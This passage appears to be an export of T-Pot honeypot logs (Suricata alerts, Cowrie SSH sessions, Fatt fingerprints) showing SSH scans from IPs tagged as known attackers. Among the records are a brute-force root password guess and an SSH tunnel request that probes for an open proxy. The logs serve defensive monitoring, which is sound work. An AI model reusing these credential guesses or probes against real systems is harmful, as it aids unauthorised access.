30787	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:38:25.588459+03	2021-09-20 14:45:03.628145+03	{"_id": "HwYAA3wBvYTbRNuEBz91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:38:24.588805+0000", "pkts_toclient": 1, "pkts_toserver": 2, "bytes_toclient": 74, "bytes_toserver": 148}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1195890470616069, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 31755, "dest_port": 22, "timestamp": "2021-09-20T11:38:25.588459Z", "@timestamp": "2021-09-20T11:38:25.588Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
30788	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:38:50.772233+03	2021-09-20 14:45:03.629172+03	{"_id": "bwYAA3wBvYTbRNuEaT8o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:38:50.417059+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 163, "bytes_toserver": 293}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 752585422822691, "payload": "U1NILTIuMC1saWJzc2gtMC42LjMK", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 52180, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:38:50.772233Z", "@timestamp": "2021-09-20T11:38:50.772Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "SSH-2.0-libssh-0.6.3\\n"}}	1	\N	\N	alert	known attacker	\N
30789	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:38:50.773192+03	2021-09-20 14:45:03.631142+03	{"_id": "cgYAA3wBvYTbRNuEaj88", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "128.199.123.0", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52180, "timestamp": "2021-09-20T11:38:50.773192", "@timestamp": "2021-09-20T11:38:50.773Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30790	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:38:50.594754+03	2021-09-20 14:45:03.632141+03	{"_id": "eQYAA3wBvYTbRNuEaz9z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 128.199.123.0:52180 (192.168.176.2:22) [session: 8360a05a64f9]", "session": "8360a05a64f9", "@version": "1", "protocol": "ssh", "src_port": 52180, "dest_port": 22, "timestamp": "2021-09-20T11:38:50.594754Z", "@timestamp": "2021-09-20T11:38:50.594Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30807	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:38:50.772405+03	2021-09-20 14:45:03.653142+03	{"_id": "eAYAA3wBvYTbRNuEaz9z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh-0.6.3'", "session": "8360a05a64f9", "version": "b'SSH-2.0-libssh-0.6.3'", "@version": "1", "timestamp": "2021-09-20T11:38:50.772405Z", "@timestamp": "2021-09-20T11:38:50.772Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30791	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:38:50.948793+03	2021-09-20 14:45:03.633145+03	{"_id": "egYAA3wBvYTbRNuEaz9z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "3des-cbc", "des-cbc-ssh1"], "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "51cba57125523ce4b9db67714a90bf6e", "macCS": ["hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 51cba57125523ce4b9db67714a90bf6e", "session": "8360a05a64f9", "@version": "1", "timestamp": "2021-09-20T11:38:50.948793Z", "@timestamp": "2021-09-20T11:38:50.948Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30792	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:38:51.760312+03	2021-09-20 14:45:03.634172+03	{"_id": "ewYAA3wBvYTbRNuEbz9b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.login.failed", "message": "login attempt [root/Password02!] failed", "session": "8360a05a64f9", "@version": "1", "password": "Password02!", "username": "root", "timestamp": "2021-09-20T11:38:51.760312Z", "@timestamp": "2021-09-20T11:38:51.760Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30793	5.188.62.196	109.199.241.180	Suricata	2021-09-20 14:38:53.47503+03	2021-09-20 14:45:03.636171+03	{"_id": "hwYAA3wBvYTbRNuEdD_i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:38:53.351244+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1310}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1304613274606604, "payload": "AAADvA4UaKV1z0xOqZfH52KfwWSL+gAAAIxjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMQAAAS1zc2gtcnNhLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1kc3MtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1Ni1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHA1MjEtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLWVkMjU1MTktY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzLHNzaC1lZDI1NTE5AAAAh2FlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWNiYywzZGVzLWNiYyxhcmNmb3VyLGFyY2ZvdXIxMjgsYXJjZm91cjI1NgAAAIdhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGNoYWNoYTIwLXBvbHkxMzA1QG9wZW5zc2guY29tLGFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczEyOC1jYmMsM2Rlcy1jYmMsYXJjZm91cixhcmNmb3VyMTI4LGFyY2ZvdXIyNTYAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAABQaG1hYy1zaGEyLTI1Ni1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTUxMixobWFjLXNoYTItMjU2LGhtYWMtc2hhMSxobWFjLXNoYTEtOTYAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAChPxWjaHG/eKd5PmzeQ", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38532, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:38:53.475030Z", "@timestamp": "2021-09-20T11:38:53.475Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......h.u.LN....b..d......curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...-ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256....aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96....none....none.............(O.h..o.).O.7."}}	1	\N	\N	alert	\N	\N
30794	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:38:53.416474+03	2021-09-20 14:45:03.637173+03	{"_id": "iQYAA3wBvYTbRNuEdT_1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.196", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38532, "timestamp": "2021-09-20T11:38:53.416474", "@timestamp": "2021-09-20T11:38:53.416Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30795	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:38:53.815764+03	2021-09-20 14:45:03.639145+03	{"_id": "iwYAA3wBvYTbRNuEdz8t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"id": 0, "data": "b'GET /multi/checkref.php HTTP/1.1\\\\r\\\\nHost: 69.195.128.18\\\\r\\\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt\\\\\\\\)\\\\r\\\\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\\\\r\\\\nAccept-Language: en-US\\\\r\\\\nConnection: TE, close\\\\r\\\\nReferer: http://1632137933.com/\\\\r\\\\nTe: deflate,gzip;q=0.3\\\\r\\\\n\\\\r\\\\n'", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "69.195.128.18", "eventid": "cowrie.direct-tcpip.data", "message": "discarded direct-tcp forward request 0 to 69.195.128.18:80 with data b'GET /multi/checkref.php HTTP/1.1\\\\r\\\\nHost: 69.195.128.18\\\\r\\\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt\\\\\\\\)\\\\r\\\\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\\\\r\\\\nAccept-Language: en-US\\\\r\\\\nConnection: TE, close\\\\r\\\\nReferer: http://1632137933.com/\\\\r\\\\nTe: deflate,gzip;q=0.3\\\\r\\\\n\\\\r\\\\n'", "session": "ba4d69bbbea1", "@version": "1", "dest_port": 80, "timestamp": "2021-09-20T11:38:53.815764Z", "@timestamp": "2021-09-20T11:38:53.815Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.data	\N	\N	\N
44310	87.255.215.173	109.199.241.180	Cowrie	2021-09-20 16:35:17.974296+03	2021-09-20 16:45:01.490564+03	{"_id": "yQZrA3wBvYTbRNuEB6ZV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sh-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.255.215.173", "asn": 39188, "as_org": "ICON LTD", "latitude": 48.0, "location": {"lat": 48.0, "lon": 68.0}, "timezone": "Asia/Almaty", "longitude": 68.0, "country_name": "Kazakhstan", "country_code2": "KZ", "country_code3": "KZ", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.255.215.173", "eventid": "cowrie.session.params", "message": [], "session": "a1a8232548b8", "@version": "1", "timestamp": "2021-09-20T13:35:17.974296Z", "@timestamp": "2021-09-20T13:35:17.974Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	KZ
30796	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:38:44.756713+03	2021-09-20 14:45:03.640174+03	{"_id": "WAYAA3wBvYTbRNuEUz_-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "205a87a86066", "@version": "1", "timestamp": "2021-09-20T11:38:44.756713Z", "@timestamp": "2021-09-20T11:38:44.756Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30797	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:38:45.208587+03	2021-09-20 14:45:03.641173+03	{"_id": "WgYAA3wBvYTbRNuEVT-e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 19741, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 4387087134411, "@version": "1", "in_iface": "enp5s0", "src_port": 42352, "dest_port": 53, "timestamp": "2021-09-20T11:38:45.208587Z", "@timestamp": "2021-09-20T11:38:45.208Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30798	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:38:45.304134+03	2021-09-20 14:45:03.642143+03	{"_id": "WwYAA3wBvYTbRNuEVj-x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35478, "timestamp": "2021-09-20T11:38:45.304134", "@timestamp": "2021-09-20T11:38:45.304Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30799	163.172.167.225	109.199.241.180	Fatt	2021-09-20 14:38:48.777493+03	2021-09-20 14:45:03.643143+03	{"_id": "YgYAA3wBvYTbRNuEYj9q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": 